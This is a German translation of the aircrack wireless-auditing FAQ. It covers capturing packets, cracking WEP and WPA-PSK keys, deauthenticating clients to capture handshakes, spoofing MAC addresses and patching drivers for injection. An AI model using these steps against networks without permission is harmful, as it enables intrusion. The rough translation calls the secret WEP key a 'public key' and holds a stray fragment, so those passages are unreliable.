Übersetzt von repat


aircrack Dokumentation


Was ist aircrack ?

aircrack ist eine Sammlung von Tools zur Überprüfung von kabellosen Netzwerken:

  • airodump: 802.11 packet capture program
  • aireplay: 802.11 packet injection program
  • aircrack: statischer WEP und WPA-PSK key cracker
  • airdecap: dechriffiert WEP/WPA capture Dateien
Dieses Dokument gibt es auch in Spanisch (danke an ShaKarO).

Gibt es ein Aircrack Diskussions-Forum ?

Klar!: http://100h.org/forums/. Guck sonst mal bei #aircrack on irc.freenode.net vorbei

Wo kann ich aircrack downloaden ?

Der offizielle Download ist hier: http://www.cr0.net:8040/code/network/. Wenn du aus irgendeinem Grund Port 8040 nicht benutzen kannst, verwende diesen Mirror: http://100h.org/wlan/aircrack/.

Aircrack ist in der Troppix LiveCD enthalten, welche folgende Treiber, patched für packet injections, unterstützt: { Prism2 / PrismGT / Realtek / Atheros / Ralink }, und ausserdem die acx100 und ipw2200 (Centrino b/g) Treiber.

Wo kann ich peek.dll downloaden?

peek.dll und peek5.sys sind in Peek.zip enthalten. Sie sollten im selben Verzeichnis wie airodump.exe sein. Um airodump zu nutzen, musst du erst die Hardware-Kompatibilität checken und unterstützte Treiber installieren.

Es kommt die Fehlermeldung "cygwin1.dll not found", wenn ich aircrack.exe starte.

Du kannst diese library hier downloaden: http://100h.org/wlan/aircrack/.

Um aircrack zu nutzen, drag&drop deine .cap oder .ivs capture Datei(en) über aircrack.exe. Wenn du dem Programm Optionen übergeben willst, musst du eine shell (cmd.exe) starten und manuell die command line schreiben. Es gibt keine Pläne eine GUI für aircrack zu schreiben.

C:\TEMP> aircrack.exe -n 64 -f 8 out1.cap out2.cap

Siehe weiter unten für eine Liste der Optionen.

Achtung: Du kannst auch Kismet .dump Datien zum WEP Cracking nutzen.

Wie kann ich einen statischen WEP key cracken?

Die Basisidee ist, soviel wie möglich verschlüsselten Verkehr aufzufangen, indem man airodump benutzt. Jedes WEP Datenpaket hat eine verbundene 3-Byte Initialisierung. Vector (IV): Nachdem eine ausreichende Menge an Datenpaketen gesammelt wurde, starte aircrack auf die resultierende Capture-Datei. Aircrack wird dann dann eine Reihe an statistischen Attacken aufführen, die von einem talentierten Hacker namens KoreK entwickelt worden sind.

Wie viele IVs sind nötig um WEP zu cracken?

Über WEP cracking gibt es kein genaues Wissen. Wie viele IVs nötig sind, hängt von der Länge des WEP keys ab und ausserdem brauch man ein bisschen Glueck. Normalerweise kann ein 40-bit WEP mit 300.000 IVs gecrackt werden und ein 104-bit WEP mit 1.000.000 IVs; Wenn du Pech hast, brauchst du 2 Millionen IVs oder mehr.

Es gibt keinen Weg, die Länge eines WEP keys zu bestimmen: die Information ist versteckt und nie bekannt gemacht worden, ausser im Managment und in Datenpaketen selbst; Daraus folgt, dass aircrack die WEP Key-Länge nicht sagen kann. Daher ist es ratsam aircrack 2 mal laufen zu lassen. Wenn du 250.000 IVs hast, starte aircrack mit "-n 64" um einen 40-bit WEP zu cracken Wenn der Key nicht gefunden wird, starte aircrack(ohne die -n Option) um 104-bit WEPs zu cracken.

Es scheint, als könnte ich keine IVs einfangen!

Mögliche Gründe:

  • Du stehst zu weit vom Access Point entfernt.
  • Es gibt keinen Verkehr in dem Ziel Netzwerk.
  • Es gibt G-Traffic, aber du fängst im B-mode.
  • Es ist etwas mit deiner Karte nicht in Ordnung (Firmware Problem?)

Achja, beacons sind nur unverschlüsselte Announcement-Pakete. Sie sind absolut nutzlos um WEP zu cracken.

Ich konnte diesen AP nicht cracken!

Pech gehabt.

Warum gibt es keine Windows Version von aireplay ?

Der PEEK Treiber unterstützt keine 802.11 Paket Injections; Ich werde nicht aireplay auf Win32 portieren. Wie auch immer, es gibt kommerzielle Alternativen:

Prism Karten: http://www.tuca-software.com/transmit.php

Atheros Karten: http://www.tamos.com/htmlhelp/commwifi/pgen.htm

Ist meine Karte kompatibel mit airodump / aireplay ?

Als allererstes suche in Google, welchen Chipsatz deine Karte hat. Wenn du z.B. eine Linksys WPC54G hast, suche nach "wpc54g chipset linux".

Chipsatz Unterstützt von airodump für Windows ? Unterstützt von airodump für Linux ? Unterstützt von aireplay für Linux ?
HermesI JA (Agere Treiber) JA (patched orinoco Treiber) NEIN (firmware beschädigt den MAC header)
Prism2/3 NEIN, aber guck hier(LinkFerret) nach einer Alternative JA (HostAP oder wlan-ng driver), STA firmware 1.5.6 oder neuer benötigt JA (nur PCI und PCMCIA, Treiber patching benötigt)
PrismGT USB SoftMAC: JA (WG111 driver), FullMAC: NEIN (aber guck hier: LinkFerret) FullMAC: JA (prism54 driver, SoftMAC: NOCH NICHT (prism54usb) JA (Treiber patching empfohlen)
Atheros JA (Atheros Treiber) JA (madwifi Treiber) JA (Treiber patching benötigt)
RTL8180 JA (Realtek Treiber) JA (rtl8180-sa2400 Treiber) UNSTABIL (Treiber patching benötigt)
Aironet JA (Cisco Treiber) JA (airo Treiber, firmware 4.25.30 empfohlen) NEIn (firmware Erlass)
Ralink NEIN JA (rt2500 / rt2570 Treiber) JA (Treiber patching benötigt)
Centrino b NEIN TEILWEISE: der ipw2100 Treiber bricht bei beschädigten Paketen nicht ab NEIN
Centrino b/g NEIN JA (ipw2200 Treiber, 1.0.6 empfohlen) NEIN (firmware verliert Pakete)
Broadcom JA (BRCM empfohlen) UNGETESTET (bcm43xx Treiber, Linux >= 2.6.14 benötigt) NEIN
TI (ACX100 / ACX111) NEIN UNGETESTET (acx100 driver) NEIN
ZyDAS 1201 NEIN NOCH NICHT (za1201 Treiber) NEIN
Atmel, Marvel NEIN UNBEKANNT NEIN

Der PEEK Treiber erkennt meine Karte nicht.

Einige Karten werden nicht von den Windows Treibern (s.o.) erkannt, auch wenn sie den korrekten Chipsatz haben.Öffne in diesem Fall den Hardware-manager, wähle deine Karte aus, klicke auf "Update Treiber", wähle "Installieren von einer bestimmten Quelle", wähle dann "Nicht suchen, ich werde den Treiber wählen", klicke auf "Have Disk", setze den Pfad auf das Verzeichniss, wo der Treiber entpackt wurde, uncheck "zeige kompatible Hardware" und dann wähle den Treiber.

Ich habe eine Prism2 Karte, aber airodump / aireplay scheint nicht zu funktionieren!

Sei als erstes sicher, dass du keine orinoco Treiber benutzt. Wenn das Interface wlan0 heisst, ist der Treiber HostAP oder wlan-ng. Wie auch immer, wenn der name eth0 oder eth1 ist, hast du den orinoco Treiber und musst diesen deaktivieren. (Benutze cardctl1 ident, um zu wissen, welchen CardIdentifier du hast, dann editiere /etc/pcmcia/config, ersetze orinoco_cs mit hostap_cs und starte cardmgr neu.)

Es kann auch ein firmware Problem sein. Alte firmwares haben Probleme mit dem test mode 0x0A (von dem HostAP / wlan-ng injection patches benutzt), also sei sicher, dass deins upgedated ist -- Siehe unten für Anleitungen. Die empfohlene station firmware version ist 1.7.4. Wenn es nicht gut funktioniert (kismet oder airodump blockiert nach dem Einfangen von ein paar Paketen), versuch STA 1.5.6 (oder sogar s1010506.hex für alte Prism2 Karten, oder sf010506.hex für neuere).

Randnotiz: test mode 0x0A ist einigermassen unstabil mit wlan-ng. Wenn die Karte zu stocken scheint, musst du sie reseten oder stattdessen HostAP nutzen. Injection ist in Moment auf Prism2 USB devices w/ wlan-ng defekt.

Achtung: ein Windows XP Treiber für Prism2 Karten mit WPA/TKIP Unterstützung kann hier gefunden werden: http://100h.org/wlan/winxp/wpc11v3.0_wpa_dr.exe.

Ich habe eine Atheros Karte und der madwifi patch crasht den kernel /
aireplay sagt immer wieder: enhanced RTC support isn't available.

Es gibt noch wenige Probleme mit einigen Versionen mit Linux 2.6 (besonders bevor 2.6.11 veröffentlicht wurde), welche Kernel Panic hervorrufen werden, bei Injections mit madwifi. Ausserdem ist bei vielen 2.6 Kerneln der RTC Support defekt. Es ist ratsam entweder 2.6.11.x oder neuere zu benutzen.

Wie update ich meine Prism2 firmware ?

Der einfachste Weg firmware zu updaten ist mit WinUpdate. Dieses benötigt den WPC11 Treiber, Version 2.5. Beides findet man hier: http://100h.org/wlan/linux/prism2/.

Du kannst firmware auch mit einem gepatchten HostAP updaten (siehe unten wie man HostAP patcht und installiert). Alternativ kannst du die Troppix Live CD booten, die bereits einen gepatchten HostAP Treiber und das prism2_srec utility enthält).

Jetzt, da HostAP geladen, ist kannst du deine firmware's erste und Stations-Version mit diesem Befehl checken:

# dmesg | grep wifi
hostap_cs: Registered netdevice wifi0
wifi0: NIC: id=0x800c v1.0.0
wifi0: PRI: id=0x15 v1.1.1  (primary firmware is 1.1.1)
wifi0: STA: id=0x1f v1.7.4  (station firmware is 1.7.4)
wifi0: registered netdevice wlan0

Wenn die NIC id oben zwischen 0x8002 und 0x8008 ist, hast du einen alten Prism2 und MUSST die STA firmware version 1.5.6 (s1010506.hex) benutzen. Sonst solltest du PRI 1.1.1 / STA 1.7.4, die stabilste firmware, benutzen. Benutze NICHT firmware 1.7.1 or 1.8.x, bei einigen Leuten traten da Probleme auf.

Um die firmware zu updaten, brauchst du prism2_srec von dem hostap_utils Paket. Wenn es nicht auf deinem System ist, kannst du es hier downloaden und kompilieren:

wget http://100h.org/wlan/linux/prism2/hostap-utils-0.4.0.tar.gz
tar -xvzf hostap-utils-0.4.0.tar.gz
cd hostap-utils-0.4.0
make

Einige Prism2 Karten sind, aufgrund den Gesetzen in deren Ländern, auf eine bestimmte Menge von Channels begrenzt. Du kannst alle 14 channels mit folgendem Befehl aktivieren.

./prism2_srec wlan0 -D > pda; cp pda pda.bak
Editiere pda und setze 3FFF ans offset 0104 (linie 24)

Schlussendlich downloade die firmware und flash deine Karte. Wenn die NIC id zwischen 0x8002 und 0x8008 ist:

wget http://100h.org/wlan/linux/prism2/s1010506.hex
./prism2_srec -v -f wlan0 s1010506.hex -P pda

Sonst:

wget http://100h.org/wlan/linux/prism2/pk010101.hex
wget http://100h.org/wlan/linux/prism2/sf010704.hex
./prism2_srec -v -f wlan0 pk010101.hex sf010704.hex -P pda

Wenn du diese Meldung bekommst: "ioctl[PRISM2_IOCTL_HOSTAPD]: Operation not supported", Ist der HostAP Treiber nicht geladen und du musst ihn installieren. Wenn du diese Meldung bekommst: "ioctl[PRISM2_IOCTL_DOWNLOAD]: Operation not supported", dann ist dein HostAP Treiber nicht gepatcht für nicht-volatilen Download-support.

Welches ist die beste Karte, die es im Moment gibt?

Der beste Chipsatz heutzutage ist Atheros; es ist sehr gut unterstützt unter Windows und Linux. Der neuste madwifi Patch macht es möglich, raw 802.11 Pakete im Managed und Monitor mode mit b/g speeds zu injecten.

Ralink macht einige gute b/g Chipsätze und war sehr kooperativ mit der Open-Source Community um GPL Treiber zu veröffentlichen. Paket injections sind nun unter Linux mit PCI/PCMCIA RT2500 Karten voll unterstützt und funktionieren sogar auf USB RT2570 Geräten.

Hier ist eine Liste empfohlener Karten:

KartennameTypChipsatzAntennaPreisWindows supportLinux support
MSI PC54G2PCIRT2500RP-SMAE30NeinJa
MSI CB54G2PCMCIART2500InternalE30NeinJa
Linksys WMP54G v4PCIRT2500RP-SMAE40NeinJa
Linksys WUSB54G v4USBRT2570InternalE40NeinJa
D-Link DWL-G122USBRT2570InternalE45NeinJa
Netgear WG311TPCIAR5212RP-SMAE50JaJa
D-Link DWL-G520PCIAR5212RP-SMAE50JaJa
Netgear WAG511PCMCIAAR5212InternalE100JaJa
Proxim 8470-WDPCMCIAAR5212MC + Int.E110JaJa

Achtung: Es gibt einige billigere Modelle mit ähnlichen Namen (WG511, WG311, DWL-650+ und DWL-G520+); die Karten basieren nicht auf Atheros. Ausserdem berichten einige User über Probleme mit der WG511T und der DWL-G650; Ich empfehle stattdessen die WAG511 zu kaufen (oder am besten die Proxim 8470-WD).

Kaufe nichts, was einen PrismGT Chipsatz haben könnte. Vor einiger Zeit hat Connexant entschieden ihren FullMAC Chipsatz zu produzieren und veröffentlichten eine billigere, schwächere Version, bekannt als "SoftMAC". Dieser ist absolut unkompatibel zu dem prism54 Treiber.

Connexant war nicht kooperativ mit dem ganzen prism54 Projekt, also verdienen sie garnichts von deinem Geld. Leider werden FullMAC Karten nicht mehr verkauft. Du findest nur blöde SoftMAC im Handel. Kaufe in keinem Fall die WG511 (v2 / v3), die 3CRWE154G72 (v2 / v3), die SMC2835W (v3), die SMC2802W (v2) oder die ZyAIR G-300 (v2 / v3).

Wie benutze ich airodump unter Windows ?

Sei als allererstes sicher, dass deine Karte kompatibel ist (s. obere Tabelle) und dass du den richtigen Treiber installiert hast. Ausserdem musst du peek.dll and peek5.sys downloaden und sie in das gleiche Verzeichniss wie airodump.exe entpacken.

Wenn du airodump startest, solltest du spezifizieren:

  • Die Netzwerk Interface Nummer, welche in der Liste von airodump picked ist.
  • Den Netzwerk Interface Typ ('o' für HermesI und Realtek, 'a' für Aironet und Atheros).
  • Die Channel Nummer, zwischen 1 und 14. Du kannst auch 0 spezifizieren, um zwischen den Channels hin und her zu springen.
  • Dem output Präfix. Wenn der Präfix z.B. "foo" ist, wird airodump eine foo.cap erstellen (gefangenen Packete) und foo.txt (CSV Statistiken). Wenn foo.cap schon existiert, wird airodump die Fang-Session fortsetzen und die Pakete hinzufügen.
  • Die "einzige IVs" Flagge. Spezifiziere 1, wenn du die IVs von dem WEP Datenpaket speichern willst. Das spart Platz, aber die daraus resultierende Datei(foo.ivs) wird nur zum WEP cracken gut sein.

Um das Fangen von Paketen zu stoppen, drücke Strg-C. Du kannst einen Bluescreen bekommen. Das kommt von einem Bug im PEEK Treiber, welcher nicht klar aus dem monitor mode beendet. Es kann auch sein, dass die Capture-Datei leer ist. Der Grund für diesen Bug ist unbekannt.

Warum kann ich airodump und aireplay unter BSD / Mac OS X nicht kompilieren?

wegen der Radio-Empfangsstörtung. Airodump UND aireplay Quellen sind linux-spezifisch. Es gibt keine Pläne, sie auf andere Betriebssysteme zu portieren.

Wie benutze ich airodump unter Linux ?

Bevor du airodump startest, starte das airmon.sh script um die gefundenen Wireless Interface aufzulisten.

  Syntax: airodump <Interface-name oder pcap Dateo-name>
                  <Output-präfix> <Channel> [IVs flag]

Das erste Argument kann ein Interface-name sein (z.B. eth1, ath0, wlan0, etc.) in diesem Fall wird airodump auf diesem Interface fangen. Du kannst ausserdem ein pcap Dateinamen festlegen, z.B. ein vorherigen Fang zu analysieren.

Es wird davon abgeraten airodump zur selben Zeit auszuführen wie Kismet.

Wenn das denselben output-Präfix spezifizierst, wird airodump die Session fortsetzen und die Pakete an das Ende der existierenden Capture-Dateien anhängen.

Du kannst zwischen den Channels hin und her springen, wenn du 0 als Channelnummer einstellst; Wie auch immer, wenn du ein WLAN angreifst, solltest du eher die Channelnummer des Ziel-Access-Points angeben. Die Channelnummer wird ignoriert, wenn die Paketquelle eine Capture-Datei ist

Du kannst die optionale IVs-flag setzen, um nur die gefangenen WEP IVs zu schreiben; Das wird eine Menge Platz sparen, aber daraus folgt, dass die resultierenden Dateien für nichts anderes ausser WEP Cracking gut sind. Wenn die flag nicht gesetzt ist, wird das ganze Paket gespeichert.

Ausserdem wird airodump eine .txt Datei updaten, in der alle gefundenen Access Points und Stationen stehen

Einige Beispiele:

Channel hopping mit HostAP:airodump wlan0 out 0
Pakete fangen auf channel 4:airodump ath0 test 4
Nur IVs auf channel 10 sichern:airodump ath0 test 10 1
IVs von einer pcap-Datei extrahieren:airodump out.cap small 0 1

Airodump wechselt immer wieder zwischen WEP und WPA

Das passiert, weil der Trieber die beschädigten Pakete nicht abricht (diese haben eine ungültige CRC). Wenn es ein Centrino b ist, ist dir nur geholfen, wenn du eine bessere Karte kaufst. Wenn es eine Prism 2 ist, update die firmware.

Was ist mit der Liste von airodump? gemeint

Airodump wird eine Liste mit den gefundenen Access Points und eine Liste mit den verbundenen Client ("Stationen") anzeigen. Hier ein Beispiel Screenshot, wo eine Prism2 Karte mit HostAP benutzt wurde:

 BSSID              PWR  Beacons   # Data  CH  MB  ENC   ESSID

 00:13:10:30:24:9C   58     4214      504   6  48  WEP   myap

 BSSID              STATION            PWR  Packets  ESSID

 00:13:10:30:24:9C  00:09:5B:EB:C5:2B  203      154  myap
 00:13:10:30:24:9C  00:02:2D:C1:5D:1F  190       17  myap

FeldErklärung
BSSIDMAC addresse des Access Points.
PWRSignal Level, welches von der Karte berichtet wird. Die Bedeutung hängt vom Treiber ab, aber wenn das Signal sich erhöht, kommst du näher an den AP/Station. Wenn PWR == -1 ist, unterstützt der Treiber kein Signal Level Berichte
BeaconsNummer der Announcement-Packete, vom AP gesendet. Jeder Access-Point sendet ungefähr 10 beacons pro Sekunde(langsamste Rate, 1M). Sie können also normalerweise von sehr weit weg aufgesammelt werden.
# DataAnazhl der gefangengen Datenpakete.(bei WEP, eindeutiger IV Zähler), inklusive Daten-Broadcast-Pakete.
CHChannelnummer (kommen aus den beacon Paketen). Anmerkung: Manchmal werden Pakete aufgrund der Radio-Empfangsstörtung von anderen Channels gefangen, obwohl airodump nicht hin und her springt.
MBMaximale Geschwindigkeit, die vom AP unterstützt wird. Wenn MB = 11 ist, ist es 802.11b, wenn MB = 22 ist, ist 802.11b+; höhere Raten sind 802.11g.
ENCVerschlüsselungsalgorithmus angeschaltet. OPN = keine Verschlüsselung, "WEP?" = WEP oder höher (Nicht genug Daten um zwischen WEP und WPA zu unterscheiden), WEP (ohne Fragezeichen) zeigt ein statisches oder dynamisches WEP an, und WPA wenn TKIP oder CCMP präsent sind.
ESSIDDie sogenannte "SSID", die leer sein kann, wenn SSID verstecken angeschaltet ist. In diesem Fall, wird airodump versuchen die SSID von den Test-Antworten und Verbindungsanfragen zu retten.
STATIONMAC address von jeder verbundenen Station. In dem oberen Screenshot, sind 2 Clienten gefunden worden.(00:09:5B:EB:C5:2B and 00:02:2D:C1:5D:1F).

Wie verbinde ich die Capture-Dateien ?

Du kannst das mergecap Programm nutzen. (Teil des ethereal-common Paketes oder der win32 Distribution):

mergecap -w out.cap test1.cap test2.cap test3.cap

Mit sofortiger Wirkung ist es nicht möglich .ivs Dateien zu verbinden.

Kann ich Ethereal benutzen um 802.11 Pakete zu fangen ?

Unter Linux musst du nur die Karte im Monitormode aufsetzen(mit dem airmon.sh script). Unter Windows, kann Ethereal keine 802.11 Pakete fangen.

Wie ändere ich die MAC-Adresse meiner Karte ?

Das geht nur unter Linux. Zum Beispiel, Wenn du eine Atheros Karte hast:

ifconfig ath0 down
ifconfig ath0 hw ether 00:11:22:33:44:55
ifconfig ath0 up

Wenn das nicht funktioniert, versuche die Karte heraus- und wieder hereinzustecken.

Wie benutze ich aircrack ?

Syntax: aircrack [optionen] <capture Datei(en)>

Du kannst mehrere Input-Dateien spezifizieren(entweder in .cap oder .ivs Format). Ausserdem kannst du airodump und aircrack zur selben Zeit laufen lassen: Aircrack wird automatisch updaten, wenn neue IVs verfügbar sind.

Hier ist eine Sammlung der verfügbaren Optionen:

OptionParam.Beschreibung
-aamodeKraft attack mode (1 = statisches WEP, 2 = WPA-PSK).
-eessidMit diese Option werden alle IVs von Netzwerken mit der selben ESSID benutzt. Sie ist ausserdem erforderlich für WPA-PSK cracking,wenn die ESSID kein Broadcast(versteckt).
-bbssidWählt das Zielnetzwerk aus(basiert auf der MAC-Adresse vom Access-Point)
-pnbcpuAuf SMP Systemen, setzte diese Option für die Anzahl der CPUs.
-qnoneAktiviert stillen mode (Kein Status Output,bis der Key gefunden ist, oder auch nicht).
-cnone(WEP cracking) Begrenzt den Such Platz nur auf alpha-numerischen Zeichen (0x20 - 0x7F).
-dstart(WEP cracking) Setze den Anfang den WEP-Key(in hex), für debugging Zwecke.
-mmaddr(WEP cracking) MAC-Addresse um WEP Datenpakete zu filtern. Alternativ, benutze -m ff:ff:ff:ff:ff:ff um absolut alle IVs zu nutzen, egal welches Netzwerk.
-nnbits(WEP cracking) Spezifiert die Länge des Keys: 64 für 40-bit WEP, 128 für 104-bit WEP, etc. Der Standartwert ist 128.
-iindex(WEP cracking) Nur die IVs behalten, welche diesen Keyindex(1 bis 4). Das Standart Verhalten, ist, den Keyindex zu ignorieren.
-ffudge(WEP cracking) Normalweise, ist dieses Parameter auf 2 gesetzt, für 104-bit WEP und auf 5 für 40-bit WEP. Nimm einen höheren Wert um das Bruteforcelevel zu erhöhen: Das Cracking wird länger dauern, hat aber eine höhere Erfolgsrate.
-kkorek(WEP cracking) Es gibt 17 korek statistische Attacken. Manchmal erstellt eine Attacke eine groses falsch-positive, welche verhindet, dass der Key auch mit einer Menge IVs gefunden wird. Versuche -k 1, -k 2, ... -k 17 um jede Attacke eineln abzuschalten.
-xnone(WEP cracking) Bruteforced die letzten 2 Keybytes nicht.
-ynone(WEP cracking) Dies ist eine experimentelle single bruteforce-Attacke, wenn die Standard-Attack mit mehr als 1.000.000 IVs fehlschlägt.
-wwords(WPA cracking) Pfad zu einer wordlist.

Könnt ihr eine Fortsetzen-Funktion in aircrack implementieren?

Es gibt noch keine Pläne diese Funktion einzubauen.

Wie cracke ich ein WPA-PSK Netzwerk ?

Du musst solange sniffen, bis ein "handshake" zwischen dem kabellosen Client und dem Access-Point stattfindet. Um den Client zu zwingen, sich wieder zu authentifizieren, kannst du die deauth-Attacke mit aireplay starten. Ausserdem wird ein gutes Wörterbuch gebraucht. Siehe hier:
http://ftp.se.kde.org/pub/security/tools/net/Openwall/wordlists/

Nur zu deiner Information, es ist nicht möglich große Tabellen von Pairwise Master vorrauszuberechnen. Schlüssel, wie z.B. rainbowcrack tun es, wenn die passphrase is salted with the ESSID.

Wird WPA in Zukunt gecrackt werden ?

Es ist extrem unwahrscheinlich, dass WPA so "einfach" wie WEP gecrackt wird.

Das HauptProblem mit WEP ist, dass öffentliche Schlüssel an den IV angehängt sind. Das Ergebnis wird direkt benutzt um RC4 zu "füttern". Diese sehr simple Konstruktion ist einer statischtischen Attacke geneigt, seit die ersten ciphertext bytes stark dem öffentlichen Schlüssel ähneln.(Andrew Roos' paper). Es gibt generell 2 Gegenmaßnahmen, gegen diese Attacke: 1. Mix den IV und die öffentlichen Schlüssel indem du die hash-Funktion benutzt oder 2. verwerfe die ersten 256 bytes von dem RC4' Output.

Es gab einige Fehlinformationen in den Nachrichten über die "flaws" von TKIP:

Fürs Erste ist TKIP einigemaßen sicher, aber es ist, weil es, wie WEP, immernoch auf dem selben RC4 Algorithmus basiert, klar, dass es wohl nicht lange exisitieren wird.

Eigentlich ist TKIP (WPA1) nicht angreifbar: für jedes Packet ist der 48-bit IV mit einem 128-bit paarweise gemixt,einen temporal key um einen 104-bit RC4 Schlüssel zu erstellen, also gibt es garkeine statistische Übereinstimmung. Desweiteren bietet WPA Gegenmaßnahmen gegen aktive Attacken an(Traffic reinjection), beinhaltet einen stärkeren Nachrichten-integrier Code(michael) und hat ein sehr robustes Authentifikation Protokoll (das 4-Wege handshake). Die einzige Verletzbarkeit ist bis jetzt eine Wörterbuch-Attacke, welche fehlschlägt, wenn der passphrase robust genug ist.

WPA2 (aka 802.11i) ist exact das Gleiche wie WPA1, außer, dass CCMP (AES im Zähler-Modus) benutzt wird, anstatt dass RC4 und HMAC-SHA1 benutzt wird und anstatt HMAC-MD5 hier EAPOL MIC. Resultat, WPA2 ist ein bisschen besser als WPA1, aber beide werden nicht in naher Zukunft gecrackt werden können.

Ich habe mehr als 1 million IVs, aber aircrack findet den Key nicht!

Mögliche Gründe:

  • Pech gehabt: du musst mehr IVs fangen. Normalweise werden 104-bit WEPs mit ca. 1 million IVs gecrackt werden, aber manchmal werden halt mehr benötigt.
     
  • Wenn alle Stimmen gleich erscheinen oder es viele negativen Stimmen gibt ist die Capturedatei nicht in Ordnung, oder der Schlüssel nicht statisch(EAP/802.1X in Gebrauch ?).
     
  • Eine falsch-positive verhindert, dass der Schlüssel gefunden wird. Verusch jede korek-attacke (-k 1 .. 17) auszuschalten, erhöhe den Schummelfaktor (-f) oder versuche die experimentelle Einzel-reverse-attacke (-y).
PRI 1.1.4 and STA 1.8.3.

Ich habe den Schlüssel gefunden, wie decrypte ich die Capture-Datei?

Du kannst airdecap benutzen:

  Syntax: airdecap [options] <pcap file>

      -l       : entfernt den 802.11 header nicht
      -b bssid : access point MACA-Addressen Filter
      -k pmk   : WPA Paarweise Master Key in hex
      -e essid : Ziel-Netzwerk ascii identifier
      -p pass  : Ziel-Netzwerk WPA passphrase
      -w key   : Ziel-Netzwerk WEP key in hex

  Beispiele:

  airdecap -b 00:09:5B:10:BC:5A open-network.cap
  airdecap -w 11A3E229084349BC25D97E2939 wep.cap
  airdecap -e "the ssid" -p passphrase  tkip.cap

Wie recover ich meine WEP-Schlüssel unter Windows ?

Du kannst das WZCOOK-Programm benutzen, welches WEP-Schlüssel von drahtlosen XP's Zero Configuration Tool recovert. Das ist eine experimentelle Software, also kann es funktionieren, oder auch nicht, abhängig von deinem ServicePack Level.

Recovert WZCOOK auch WPA-Schlüssel ?

WZCOOK wird den PMK (Pairwise Master Key) darstellen, ein 256-bit Wert, welcher das Ergebniss von dem passphrase 8192-mal hashed zusammen mit dem ESSID und der ESSID Länge, ist. Der passphrase selbst kann nicht recovert werden -- Wie auch immer, der PMK ist genug um zu einem WPA-geschützen drahtlosen Netzwerk mit einem wpa_supplicant zu connecten. (siehe auch Windows README). Deine wpa_supplicant.conf Konfigurationsdatei sollte so aussehen:

network={
    ssid="my_essid"
    pmk=5c9597f3c8245907ea71a89d[...]9d39d08e
}

Wie patche ich einen Treiber für injections mit aireplay ?

Bis jetzt, unterstüzt aireplay nur injections auf Prism2, PrismGT (FullMAC), Atheros, RTL8180 und Ralink. Injection auf Centrino, Hermes, ACX1xx, Aironet, ZyDAS, Marvell und Broadcom sind aufgrund firmware und/oder Treiber Beschränkungen nicht unterstützt.

Injections auf Prism2 und Atheros sind immer noch recht experimentell; wenn es so aussieht, als wenn deine Karte sich aufgehängt hat(keine Packete werden gefangen oder injected), deaktiviere das Interface, lade die Treiber neu und stecke die Karte wieder rein. Beachte ausserdem die firmeware zu updaten(bei Prism2)

Alle Treiber müssen gepatcht sein um injections im Monitor-mode zu unterstützen. Dazu brauchst du die die passenden linux-headers zu deinem Kernel; alternativ musst du die source runterladen und deinen eigenen Kernel kompilieren.

Wenn du Probleme hast alles zu kompilieren oder zu patchen, könntest du die Troppix LiveCD benutzen, da sie alle gepatchten Gerätetreiber enthält.

  • Installieren der madwifi-Treiber(Atheros Karten)

    Anmerkung 1: Du musst vom sharutils-Paket uudecoden

    Anmerkung 2: Der 20051008 patch sollte auch mit neueren Versionen des madwifi CVS funktionieren.

    Anmerkung 3: Wenn du wpa_supplicant benutzt, solltest du es nocheinmal kompilieren (ältere Versionen sind nicht kompatibel mit dem aktuellen madwifi CVS), und beachte, dass CONFIG_DRIVER_MADWIFI=y in config.h auskommentiert ist.

    Anmerkung 4: Mit dem aktuellen madwifi brauch man nicht mehr "iwpriv ath0 mode 2" ausführen, seit der Treiber bei der Benutzung von des neuen athXraw Interfaces injections in mode 0 erlaubt.

    Erlaubte modesMedium
    Mode 0Automatisch (a/b/g)
    Mode 1nur 802.11a
    Mode 2nur 802.11b
    Mode 3nur 802.11g

    ifconfig ath0 down
    rmmod wlan_wep ath_rate_onoe ath_pci wlan ath_hal
    
    find /lib/modules -name 'ath*'  -exec rm -v {} \;
    find /lib/modules -name 'wlan*' -exec rm -v {} \;
    cd /usr/src
    wget http://100h.org/wlan/linux/atheros/madwifi-cvs-20051008.tgz
    wget http://100h.org/wlan/linux/patches/madwifi-cvs-20051008.patch
    tar -xvzf madwifi-cvs-20051008.tgz
    cd madwifi-cvs-20051008
    patch -Np1 -i ../madwifi-cvs-20051008.patch
    make && make install
    modprobe ath_pci

    Es ist jetzt möglich die Übertragungsrate mit madwifi festzusetzen (auch rt2570). Die empfohlene Rate ist 5.5 Mbps, aber du kannst sie weiter unter oder hochstellen, jenach Entfernung vom AP. Zum Beispiel:

    iwconfig ath0 rate 24M

    ModulationAllowed rates
    DSSS / CCK1M, 2M, 5.5M, 11M
    OFDM (a/g)6M, 9M, 12M, 24M, 36M, 48M, 54M

    Bei den Attacken 2, 3 und 4 kann es hilfreich sein, die Anzahl der Packete pro Sekunde von aireplay(option -x) zu verändern. Standard ist 500 pps.

  • Den prism54 Treiber installieren (PrismGT FullMAC Karten)

    ifconfig eth1 down
    rmmod prism54
    
    cd /usr/src
    wget http://100h.org/wlan/linux/prismgt/prism54-svn-20050724.tgz
    wget http://100h.org/wlan/linux/patches/prism54-svn-20050724.patch
    tar -xvzf prism54-svn-20050724.tgz
    cd prism54-svn-20050724
    patch -Np1 -i ../prism54-svn-20050724.patch
    make modules && make install
    wget http://100h.org/wlan/linux/prismgt/1.0.4.3.arm
    mkdir -p /usr/lib/hotplug/firmware
    mkdir -p /lib/firmware
    cp 1.0.4.3.arm /usr/lib/hotplug/firmware/isl3890
    mv 1.0.4.3.arm /lib/firmware/isl3890
    depmod -a

  • Installation des HostAP Treibers (Prism2 Karten)

    ifconfig wlan0 down
    wlanctl-ng wlan0 lnxreq_ifstate ifstate=disable
    /etc/init.d/pcmcia stop
    rmmod prism2_pci
    rmmod hostap_pci
    
    cd /usr/src
    wget http://100h.org/wlan/linux/prism2/hostap-driver-0.4.5.tar.gz
    wget http://100h.org/wlan/linux/patches/hostap-driver-0.3.9.patch
    tar -xvzf hostap-driver-0.4.5.tar.gz
    cd hostap-driver-0.4.5
    patch -Np1 -i ../hostap-driver-0.3.9.patch
    make && make install
    mv -f /etc/pcmcia/wlan-ng.conf /etc/pcmcia/wlan-ng.conf~
    /etc/init.d/pcmcia start
    modprobe hostap_pci &>/dev/null

  • Installieren des wlan-ng Treibers (Prism2 Karten)

    Achtung: wenn die Karte eingesteckt ist, wird wlan-ng die firmware mit den Versionen PRI 1.1.4 und STA 1.8.3 in dem RAM flashen(volatile download). Viele User hatten Probleme mit dieser Operation, also ist es immer sicherer stattdessen hostap zu benutzen.Ausserdem arbeitet HostAP verlässlicher und unterstützt iwconfig(wlan-ng nicht).

